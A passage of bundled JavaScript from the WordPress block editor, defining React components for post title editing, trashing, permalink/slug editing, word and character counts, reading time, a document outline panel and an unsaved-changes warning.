      const contentNoHTML = (0,external_wp_dom_namespaceObject.__unstableStripHTML)(content);
      onChange((0,external_wp_richText_namespaceObject.insert)(value, (0,external_wp_richText_namespaceObject.create)({
        html: contentNoHTML
      })));
    }
  }

  // The wp-block className is important for editor styles.
  // This same block is used in both the visual and the code editor.
  const className = dist_clsx(DEFAULT_CLASSNAMES, {
    'is-selected': isSelected
  });
  return /*#__PURE__*/ /* eslint-disable jsx-a11y/heading-has-content, jsx-a11y/no-noninteractive-element-to-interactive-role */(0,external_ReactJSXRuntime_namespaceObject.jsx)("h1", {
    ref: (0,external_wp_compose_namespaceObject.useMergeRefs)([richTextRef, focusRef]),
    contentEditable: true,
    className: className,
    "aria-label": decodedPlaceholder,
    role: "textbox",
    "aria-multiline": "true",
    onFocus: onSelect,
    onBlur: onUnselect,
    onKeyDown: onKeyDown,
    onPaste: onPaste
  })
  /* eslint-enable jsx-a11y/heading-has-content, jsx-a11y/no-noninteractive-element-to-interactive-role */;
});

/**
 * Renders the `PostTitle` component.
 *
 * @param {Object}  _            Unused parameter.
 * @param {Element} forwardedRef Forwarded ref for the component.
 *
 * @return {React.ReactNode} The rendered PostTitle component.
 */
/* harmony default export */ const post_title = ((0,external_wp_element_namespaceObject.forwardRef)((_, forwardedRef) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(post_type_support_check, {
  supportKeys: "title",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PostTitle, {
    ref: forwardedRef
  })
})));

;// ./node_modules/@wordpress/editor/build-module/components/post-title/post-title-raw.js
/**
 * External dependencies
 */


/**
 * WordPress dependencies
 */







/**
 * Internal dependencies
 */




/**
 * Renders a raw post title input field.
 *
 * @param {Object}  _            Unused parameter.
 * @param {Element} forwardedRef Reference to the component's DOM node.
 *
 * @return {React.ReactNode} The rendered component.
 */

function PostTitleRaw(_, forwardedRef) {
  const {
    placeholder
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getSettings
    } = select(external_wp_blockEditor_namespaceObject.store);
    const {
      titlePlaceholder
    } = getSettings();
    return {
      placeholder: titlePlaceholder
    };
  }, []);
  const [isSelected, setIsSelected] = (0,external_wp_element_namespaceObject.useState)(false);
  const {
    title,
    setTitle: onUpdate
  } = usePostTitle();
  const {
    ref: focusRef
  } = usePostTitleFocus(forwardedRef);
  function onChange(value) {
    onUpdate(value.replace(REGEXP_NEWLINES, ' '));
  }
  function onSelect() {
    setIsSelected(true);
  }
  function onUnselect() {
    setIsSelected(false);
  }

  // The wp-block className is important for editor styles.
  // This same block is used in both the visual and the code editor.
  const className = dist_clsx(DEFAULT_CLASSNAMES, {
    'is-selected': isSelected,
    'is-raw-text': true
  });
  const decodedPlaceholder = (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(placeholder) || (0,external_wp_i18n_namespaceObject.__)('Add title');
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.TextareaControl, {
    ref: focusRef,
    value: title,
    onChange: onChange,
    onFocus: onSelect,
    onBlur: onUnselect,
    label: placeholder,
    className: className,
    placeholder: decodedPlaceholder,
    hideLabelFromVision: true,
    autoComplete: "off",
    dir: "auto",
    rows: 1,
    __nextHasNoMarginBottom: true
  });
}
/* harmony default export */ const post_title_raw = ((0,external_wp_element_namespaceObject.forwardRef)(PostTitleRaw));

;// ./node_modules/@wordpress/editor/build-module/components/post-trash/check.js
/**
 * WordPress dependencies
 */



/**
 * Internal dependencies
 */



/**
 * Wrapper component that renders its children only if the post can be trashed.
 *
 * @param {Object}          props          The component props.
 * @param {React.ReactNode} props.children The child components.
 *
 * @return {React.ReactNode} The rendered child components or null if the post can't be trashed.
 */
function PostTrashCheck({
  children
}) {
  const {
    canTrashPost
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      isEditedPostNew,
      getCurrentPostId,
      getCurrentPostType
    } = select(store_store);
    const {
      canUser
    } = select(external_wp_coreData_namespaceObject.store);
    const postType = getCurrentPostType();
    const postId = getCurrentPostId();
    const isNew = isEditedPostNew();
    const canUserDelete = !!postId ? canUser('delete', {
      kind: 'postType',
      name: postType,
      id: postId
    }) : false;
    return {
      canTrashPost: (!isNew || postId) && canUserDelete && !GLOBAL_POST_TYPES.includes(postType)
    };
  }, []);
  if (!canTrashPost) {
    return null;
  }
  return children;
}

;// ./node_modules/@wordpress/editor/build-module/components/post-trash/index.js
/**
 * WordPress dependencies
 */





/**
 * Internal dependencies
 */



/**
 * Displays the Post Trash Button and Confirm Dialog in the Editor.
 *
 * @param {?{onActionPerformed: Object}} An object containing the onActionPerformed function.
 * @return {React.ReactNode} The rendered PostTrash component.
 */

function PostTrash({
  onActionPerformed
}) {
  const registry = (0,external_wp_data_namespaceObject.useRegistry)();
  const {
    isNew,
    isDeleting,
    postId,
    title
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const store = select(store_store);
    return {
      isNew: store.isEditedPostNew(),
      isDeleting: store.isDeletingPost(),
      postId: store.getCurrentPostId(),
      title: store.getCurrentPostAttribute('title')
    };
  }, []);
  const {
    trashPost
  } = (0,external_wp_data_namespaceObject.useDispatch)(store_store);
  const [showConfirmDialog, setShowConfirmDialog] = (0,external_wp_element_namespaceObject.useState)(false);
  if (isNew || !postId) {
    return null;
  }
  const handleConfirm = async () => {
    setShowConfirmDialog(false);
    await trashPost();
    const item = await registry.resolveSelect(store_store).getCurrentPost();
    // After the post is trashed, we want to trigger the onActionPerformed callback, so the user is redirect
    // to the post view depending on if the user is on post editor or site editor.
    onActionPerformed?.('move-to-trash', [item]);
  };
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(PostTrashCheck, {
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
      __next40pxDefaultSize: true,
      className: "editor-post-trash",
      isDestructive: true,
      variant: "secondary",
      isBusy: isDeleting,
      "aria-disabled": isDeleting,
      onClick: isDeleting ? undefined : () => setShowConfirmDialog(true),
      children: (0,external_wp_i18n_namespaceObject.__)('Move to trash')
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalConfirmDialog, {
      isOpen: showConfirmDialog,
      onConfirm: handleConfirm,
      onCancel: () => setShowConfirmDialog(false),
      confirmButtonText: (0,external_wp_i18n_namespaceObject.__)('Move to trash'),
      size: "small",
      children: (0,external_wp_i18n_namespaceObject.sprintf)(
      // translators: %s: The item's title.
      (0,external_wp_i18n_namespaceObject.__)('Are you sure you want to move "%s" to the trash?'), title)
    })]
  });
}

;// ./node_modules/@wordpress/editor/build-module/components/post-url/index.js
/**
 * WordPress dependencies
 */











/**
 * Internal dependencies
 */


/**
 * Renders the `PostURL` component.
 *
 * @example
 * ```jsx
 * <PostURL />
 * ```
 *
 * @param {{ onClose: () => void }} props         The props for the component.
 * @param {() => void}              props.onClose Callback function to be executed when the popover is closed.
 *
 * @return {React.ReactNode} The rendered PostURL component.
 */

function PostURL({
  onClose
}) {
  const {
    isEditable,
    postSlug,
    postLink,
    permalinkPrefix,
    permalinkSuffix,
    permalink
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    var _post$_links$wpActio;
    const post = select(store_store).getCurrentPost();
    const postTypeSlug = select(store_store).getCurrentPostType();
    const postType = select(external_wp_coreData_namespaceObject.store).getPostType(postTypeSlug);
    const permalinkParts = select(store_store).getPermalinkParts();
    const hasPublishAction = (_post$_links$wpActio = post?._links?.['wp:action-publish']) !== null && _post$_links$wpActio !== void 0 ? _post$_links$wpActio : false;
    return {
      isEditable: select(store_store).isPermalinkEditable() && hasPublishAction,
      postSlug: (0,external_wp_url_namespaceObject.safeDecodeURIComponent)(select(store_store).getEditedPostSlug()),
      viewPostLabel: postType?.labels.view_item,
      postLink: post.link,
      permalinkPrefix: permalinkParts?.prefix,
      permalinkSuffix: permalinkParts?.suffix,
      permalink: (0,external_wp_url_namespaceObject.safeDecodeURIComponent)(select(store_store).getPermalink())
    };
  }, []);
  const {
    editPost
  } = (0,external_wp_data_namespaceObject.useDispatch)(store_store);
  const {
    createNotice
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
  const [forceEmptyField, setForceEmptyField] = (0,external_wp_element_namespaceObject.useState)(false);
  const copyButtonRef = (0,external_wp_compose_namespaceObject.useCopyToClipboard)(permalink, () => {
    createNotice('info', (0,external_wp_i18n_namespaceObject.__)('Copied Permalink to clipboard.'), {
      isDismissible: true,
      type: 'snackbar'
    });
  });
  const postUrlSlugDescriptionId = 'editor-post-url__slug-description-' + (0,external_wp_compose_namespaceObject.useInstanceId)(PostURL);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", {
    className: "editor-post-url",
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.__experimentalInspectorPopoverHeader, {
      title: (0,external_wp_i18n_namespaceObject.__)('Slug'),
      onClose: onClose
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
      spacing: 3,
      children: [isEditable && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("p", {
        className: "editor-post-url__intro",
        children: (0,external_wp_element_namespaceObject.createInterpolateElement)((0,external_wp_i18n_namespaceObject.__)('<span>Customize the last part of the Permalink.</span> <a>Learn more.</a>'), {
          span: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {
            id: postUrlSlugDescriptionId
          }),
          a: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ExternalLink, {
            href: (0,external_wp_i18n_namespaceObject.__)('https://wordpress.org/documentation/article/page-post-settings-sidebar/#permalink')
          })
        })
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", {
        children: [isEditable && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
          children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalInputControl, {
            __next40pxDefaultSize: true,
            prefix: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalInputControlPrefixWrapper, {
              children: "/"
            }),
            suffix: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalInputControlSuffixWrapper, {
              variant: "control",
              children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
                icon: copy_small,
                ref: copyButtonRef,
                size: "small",
                label: "Copy"
              })
            }),
            label: (0,external_wp_i18n_namespaceObject.__)('Slug'),
            hideLabelFromVision: true,
            value: forceEmptyField ? '' : postSlug,
            autoComplete: "off",
            spellCheck: "false",
            type: "text",
            className: "editor-post-url__input",
            onChange: newValue => {
              editPost({
                slug: newValue
              });
              // When we delete the field the permalink gets
              // reverted to the original value.
              // The forceEmptyField logic allows the user to have
              // the field temporarily empty while typing.
              if (!newValue) {
                if (!forceEmptyField) {
                  setForceEmptyField(true);
                }
                return;
              }
              if (forceEmptyField) {
                setForceEmptyField(false);
              }
            },
            onBlur: event => {
              editPost({
                slug: (0,external_wp_url_namespaceObject.cleanForSlug)(event.target.value)
              });
              if (forceEmptyField) {
                setForceEmptyField(false);
              }
            },
            "aria-describedby": postUrlSlugDescriptionId
          }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("p", {
            className: "editor-post-url__permalink",
            children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {
              className: "editor-post-url__permalink-visual-label",
              children: (0,external_wp_i18n_namespaceObject.__)('Permalink:')
            }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.ExternalLink, {
              className: "editor-post-url__link",
              href: postLink,
              target: "_blank",
              children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {
                className: "editor-post-url__link-prefix",
                children: permalinkPrefix
              }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {
                className: "editor-post-url__link-slug",
                children: postSlug
              }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {
                className: "editor-post-url__link-suffix",
                children: permalinkSuffix
              })]
            })]
          })]
        }), !isEditable && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ExternalLink, {
          className: "editor-post-url__link",
          href: postLink,
          target: "_blank",
          children: postLink
        })]
      })]
    })]
  });
}

;// ./node_modules/@wordpress/editor/build-module/components/post-url/check.js
/**
 * WordPress dependencies
 */



/**
 * Internal dependencies
 */


/**
 * Check if the post URL is valid and visible.
 *
 * @param {Object}          props          The component props.
 * @param {React.ReactNode} props.children The child components.
 *
 * @return {React.ReactNode} The child components if the post URL is valid and visible, otherwise null.
 */
function PostURLCheck({
  children
}) {
  const isVisible = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const postTypeSlug = select(store_store).getCurrentPostType();
    const postType = select(external_wp_coreData_namespaceObject.store).getPostType(postTypeSlug);
    if (!postType?.viewable) {
      return false;
    }
    const post = select(store_store).getCurrentPost();
    if (!post.link) {
      return false;
    }
    const permalinkParts = select(store_store).getPermalinkParts();
    if (!permalinkParts) {
      return false;
    }
    return true;
  }, []);
  if (!isVisible) {
    return null;
  }
  return children;
}

;// ./node_modules/@wordpress/editor/build-module/components/post-url/label.js
/**
 * WordPress dependencies
 */



/**
 * Internal dependencies
 */


/**
 * Represents a label component for a post URL.
 *
 * @return {React.ReactNode} The PostURLLabel component.
 */
function PostURLLabel() {
  return usePostURLLabel();
}

/**
 * Custom hook to get the label for the post URL.
 *
 * @return {string} The filtered and decoded post URL label.
 */
function usePostURLLabel() {
  const postLink = (0,external_wp_data_namespaceObject.useSelect)(select => select(store_store).getPermalink(), []);
  return (0,external_wp_url_namespaceObject.filterURLForDisplay)((0,external_wp_url_namespaceObject.safeDecodeURIComponent)(postLink));
}

;// ./node_modules/@wordpress/editor/build-module/components/post-url/panel.js
/**
 * WordPress dependencies
 */







/**
 * Internal dependencies
 */





/**
 * Renders the `PostURLPanel` component.
 *
 * @return {React.ReactNode} The rendered PostURLPanel component.
 */

function PostURLPanel() {
  const {
    isFrontPage
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getCurrentPostId
    } = select(store_store);
    const {
      getEditedEntityRecord,
      canUser
    } = select(external_wp_coreData_namespaceObject.store);
    const siteSettings = canUser('read', {
      kind: 'root',
      name: 'site'
    }) ? getEditedEntityRecord('root', 'site') : undefined;
    const _id = getCurrentPostId();
    return {
      isFrontPage: siteSettings?.page_on_front === _id
    };
  }, []);
  // Use internal state instead of a ref to make sure that the component
  // re-renders when the popover's anchor updates.
  const [popoverAnchor, setPopoverAnchor] = (0,external_wp_element_namespaceObject.useState)(null);
  // Memoize popoverProps to avoid returning a new object every time.
  const popoverProps = (0,external_wp_element_namespaceObject.useMemo)(() => ({
    // Anchor the popover to the middle of the entire row so that it doesn't
    // move around when the label changes.
    anchor: popoverAnchor,
    placement: 'left-start',
    offset: 36,
    shift: true
  }), [popoverAnchor]);
  const label = isFrontPage ? (0,external_wp_i18n_namespaceObject.__)('Link') : (0,external_wp_i18n_namespaceObject.__)('Slug');
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PostURLCheck, {
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(post_panel_row, {
      label: label,
      ref: setPopoverAnchor,
      children: [!isFrontPage && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Dropdown, {
        popoverProps: popoverProps,
        className: "editor-post-url__panel-dropdown",
        contentClassName: "editor-post-url__panel-dialog",
        focusOnMount: true,
        renderToggle: ({
          isOpen,
          onToggle
        }) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PostURLToggle, {
          isOpen: isOpen,
          onClick: onToggle
        }),
        renderContent: ({
          onClose
        }) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PostURL, {
          onClose: onClose
        })
      }), isFrontPage && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(FrontPageLink, {})]
    })
  });
}
function PostURLToggle({
  isOpen,
  onClick
}) {
  const {
    slug
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    return {
      slug: select(store_store).getEditedPostSlug()
    };
  }, []);
  const decodedSlug = (0,external_wp_url_namespaceObject.safeDecodeURIComponent)(slug);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
    size: "compact",
    className: "editor-post-url__panel-toggle",
    variant: "tertiary",
    "aria-expanded": isOpen,
    "aria-label":
    // translators: %s: Current post link.
    (0,external_wp_i18n_namespaceObject.sprintf)((0,external_wp_i18n_namespaceObject.__)('Change link: %s'), decodedSlug),
    onClick: onClick,
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_ReactJSXRuntime_namespaceObject.Fragment, {
      children: decodedSlug
    })
  });
}
function FrontPageLink() {
  const {
    postLink
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getCurrentPost
    } = select(store_store);
    return {
      postLink: getCurrentPost()?.link
    };
  }, []);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ExternalLink, {
    className: "editor-post-url__front-page-link",
    href: postLink,
    target: "_blank",
    children: postLink
  });
}

;// ./node_modules/@wordpress/editor/build-module/components/post-visibility/check.js
/**
 * WordPress dependencies
 */


/**
 * Internal dependencies
 */


/**
 * Determines if the current post can be edited (published)
 * and passes this information to the provided render function.
 *
 * @param {Object}   props        The component props.
 * @param {Function} props.render Function to render the component.
 *                                Receives an object with a `canEdit` property.
 * @return {React.ReactNode} The rendered component.
 */
function PostVisibilityCheck({
  render
}) {
  const canEdit = (0,external_wp_data_namespaceObject.useSelect)(select => {
    var _select$getCurrentPos;
    return (_select$getCurrentPos = select(store_store).getCurrentPost()._links?.['wp:action-publish']) !== null && _select$getCurrentPos !== void 0 ? _select$getCurrentPos : false;
  });
  return render({
    canEdit
  });
}

;// ./node_modules/@wordpress/icons/build-module/library/info.js
/**
 * WordPress dependencies
 */


const info = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  viewBox: "0 0 24 24",
  xmlns: "http://www.w3.org/2000/svg",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    fillRule: "evenodd",
    clipRule: "evenodd",
    d: "M5.5 12a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0ZM12 4a8 8 0 1 0 0 16 8 8 0 0 0 0-16Zm.75 4v1.5h-1.5V8h1.5Zm0 8v-5h-1.5v5h1.5Z"
  })
});
/* harmony default export */ const library_info = (info);

;// external ["wp","wordcount"]
const external_wp_wordcount_namespaceObject = window["wp"]["wordcount"];
;// ./node_modules/@wordpress/editor/build-module/components/word-count/index.js
/**
 * WordPress dependencies
 */




/**
 * Internal dependencies
 */


/**
 * Renders the word count of the post content.
 *
 * @return {React.ReactNode} The rendered WordCount component.
 */

function WordCount() {
  const content = (0,external_wp_data_namespaceObject.useSelect)(select => select(store_store).getEditedPostAttribute('content'), []);

  /*
   * translators: If your word count is based on single characters (e.g. East Asian characters),
   * enter 'characters_excluding_spaces' or 'characters_including_spaces'. Otherwise, enter 'words'.
   * Do not translate into your own language.
   */
  const wordCountType = (0,external_wp_i18n_namespaceObject._x)('words', 'Word count type. Do not translate!');
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {
    className: "word-count",
    children: (0,external_wp_wordcount_namespaceObject.count)(content, wordCountType)
  });
}

;// ./node_modules/@wordpress/editor/build-module/components/time-to-read/index.js
/**
 * WordPress dependencies
 */





/**
 * Internal dependencies
 */


/**
 * Average reading rate - based on average taken from
 * https://irisreading.com/average-reading-speed-in-various-languages/
 * (Characters/minute used for Chinese rather than words).
 *
 * @type {number} A rough estimate of the average reading rate across multiple languages.
 */

const AVERAGE_READING_RATE = 189;

/**
 * Component for showing Time To Read in Content.
 *
 * @return {React.ReactNode} The rendered TimeToRead component.
 */
function TimeToRead() {
  const content = (0,external_wp_data_namespaceObject.useSelect)(select => select(store_store).getEditedPostAttribute('content'), []);

  /*
   * translators: If your word count is based on single characters (e.g. East Asian characters),
   * enter 'characters_excluding_spaces' or 'characters_including_spaces'. Otherwise, enter 'words'.
   * Do not translate into your own language.
   */
  const wordCountType = (0,external_wp_i18n_namespaceObject._x)('words', 'Word count type. Do not translate!');
  const minutesToRead = Math.round((0,external_wp_wordcount_namespaceObject.count)(content, wordCountType) / AVERAGE_READING_RATE);
  const minutesToReadString = minutesToRead === 0 ? (0,external_wp_element_namespaceObject.createInterpolateElement)((0,external_wp_i18n_namespaceObject.__)('<span>< 1</span> minute'), {
    span: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {})
  }) : (0,external_wp_element_namespaceObject.createInterpolateElement)((0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %s: the number of minutes to read the post. */
  (0,external_wp_i18n_namespaceObject._n)('<span>%s</span> minute', '<span>%s</span> minutes', minutesToRead), minutesToRead), {
    span: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {})
  });
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {
    className: "time-to-read",
    children: minutesToReadString
  });
}

;// ./node_modules/@wordpress/editor/build-module/components/character-count/index.js
/**
 * WordPress dependencies
 */



/**
 * Internal dependencies
 */


/**
 * Renders the character count of the post content.
 *
 * @return {number} The character count.
 */
function CharacterCount() {
  const content = (0,external_wp_data_namespaceObject.useSelect)(select => select(store_store).getEditedPostAttribute('content'), []);
  return (0,external_wp_wordcount_namespaceObject.count)(content, 'characters_including_spaces');
}

;// ./node_modules/@wordpress/editor/build-module/components/table-of-contents/panel.js
/**
 * WordPress dependencies
 */




/**
 * Internal dependencies
 */





function TableOfContentsPanel({
  hasOutlineItemsDisabled,
  onRequestClose
}) {
  const {
    headingCount,
    paragraphCount,
    numberOfBlocks
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getGlobalBlockCount
    } = select(external_wp_blockEditor_namespaceObject.store);
    return {
      headingCount: getGlobalBlockCount('core/heading'),
      paragraphCount: getGlobalBlockCount('core/paragraph'),
      numberOfBlocks: getGlobalBlockCount()
    };
  }, []);
  return (
    /*#__PURE__*/
    /*
     * Disable reason: The `list` ARIA role is redundant but
     * Safari+VoiceOver won't announce the list otherwise.
     */
    /* eslint-disable jsx-a11y/no-redundant-roles */
    (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
        className: "table-of-contents__wrapper",
        role: "note",
        "aria-label": (0,external_wp_i18n_namespaceObject.__)('Document Statistics'),
        tabIndex: "0",
        children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("ul", {
          role: "list",
          className: "table-of-contents__counts",
          children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("li", {
            className: "table-of-contents__count",
            children: [(0,external_wp_i18n_namespaceObject.__)('Words'), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(WordCount, {})]
          }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("li", {
            className: "table-of-contents__count",
            children: [(0,external_wp_i18n_namespaceObject.__)('Characters'), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {
              className: "table-of-contents__number",
              children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(CharacterCount, {})
            })]
          }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("li", {
            className: "table-of-contents__count",
            children: [(0,external_wp_i18n_namespaceObject.__)('Time to read'), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(TimeToRead, {})]
          }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("li", {
            className: "table-of-contents__count",
            children: [(0,external_wp_i18n_namespaceObject.__)('Headings'), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {
              className: "table-of-contents__number",
              children: headingCount
            })]
          }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("li", {
            className: "table-of-contents__count",
            children: [(0,external_wp_i18n_namespaceObject.__)('Paragraphs'), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {
              className: "table-of-contents__number",
              children: paragraphCount
            })]
          }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("li", {
            className: "table-of-contents__count",
            children: [(0,external_wp_i18n_namespaceObject.__)('Blocks'), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {
              className: "table-of-contents__number",
              children: numberOfBlocks
            })]
          })]
        })
      }), headingCount > 0 && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
        children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("hr", {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("h2", {
          className: "table-of-contents__title",
          children: (0,external_wp_i18n_namespaceObject.__)('Document Outline')
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(DocumentOutline, {
          onSelect: onRequestClose,
          hasOutlineItemsDisabled: hasOutlineItemsDisabled
        })]
      })]
    })
    /* eslint-enable jsx-a11y/no-redundant-roles */
  );
}
/* harmony default export */ const table_of_contents_panel = (TableOfContentsPanel);

;// ./node_modules/@wordpress/editor/build-module/components/table-of-contents/index.js
/**
 * WordPress dependencies
 */







/**
 * Internal dependencies
 */


function TableOfContents({
  hasOutlineItemsDisabled,
  repositionDropdown,
  ...props
}, ref) {
  const hasBlocks = (0,external_wp_data_namespaceObject.useSelect)(select => !!select(external_wp_blockEditor_namespaceObject.store).getBlockCount(), []);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Dropdown, {
    popoverProps: {
      placement: repositionDropdown ? 'right' : 'bottom'
    },
    className: "table-of-contents",
    contentClassName: "table-of-contents__popover",
    renderToggle: ({
      isOpen,
      onToggle
    }) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
      __next40pxDefaultSize: true,
      ...props,
      ref: ref,
      onClick: hasBlocks ? onToggle : undefined,
      icon: library_info,
      "aria-expanded": isOpen,
      "aria-haspopup": "true"
      /* translators: button label text should, if possible, be under 16 characters. */,
      label: (0,external_wp_i18n_namespaceObject.__)('Details'),
      tooltipPosition: "bottom",
      "aria-disabled": !hasBlocks
    }),
    renderContent: ({
      onClose
    }) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(table_of_contents_panel, {
      onRequestClose: onClose,
      hasOutlineItemsDisabled: hasOutlineItemsDisabled
    })
  });
}

/**
 * Renders a table of contents component.
 *
 * @param {Object}      props                         The component props.
 * @param {boolean}     props.hasOutlineItemsDisabled Whether outline items are disabled.
 * @param {boolean}     props.repositionDropdown      Whether to reposition the dropdown.
 * @param {Element.ref} ref                           The component's ref.
 *
 * @return {React.ReactNode} The rendered table of contents component.
 */
/* harmony default export */ const table_of_contents = ((0,external_wp_element_namespaceObject.forwardRef)(TableOfContents));

;// ./node_modules/@wordpress/editor/build-module/components/unsaved-changes-warning/index.js
/**
 * WordPress dependencies
 */





/**
 * Warns the user if there are unsaved changes before leaving the editor.
 * Compatible with Post Editor and Site Editor.
 *
 * @return {React.ReactNode} The component.
 */
function UnsavedChangesWarning() {
  const {
    __experimentalGetDirtyEntityRecords
  } = (0,external_wp_data_namespaceObject.useSelect)(external_wp_coreData_namespaceObject.store);
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    /**
     * Warns the user if there are unsaved changes before leaving the editor.
     *
     * @param {Event} event `beforeunload` event.
     *
     * @return {string | undefined} Warning prompt message, if unsaved changes exist.
     */
    const warnIfUnsavedChanges = event => {
      // We need to call the selector directly in the listener to avoid race
      // conditions with `BrowserURL` where `componentDidUpdate` gets the
      // new value of `isEditedPostDirty` before this component does,
      // causing this component to incorrectly think a trashed post is still dirty.
      const dirtyEntityRecords = __experimentalGetDirtyEntityRecords();
      if (dirtyEntityRecords.length > 0) {
        event.returnValue = (0,external_wp_i18n_namespaceObject.__)('You have unsaved changes. If you proceed, they will be lost.');
        return event.returnValue;
      }
    };
    window.addEventListener('beforeunload', warnIfUnsavedChanges);
    return () => {
      window.removeEventListener('beforeunload', warnIfUnsavedChanges);
    };
  }, [__experimentalGetDirtyEntityRecords]);
  return null;
}

;// external ["wp","serverSideRender"]
const external_wp_serverSideRender_namespaceObject = window["wp"]["serverSideRender"];
var external_wp_serverSideRender_default = /*#__PURE__*/__webpack_require__.n(external_wp_serverSideRender_namespaceObject);
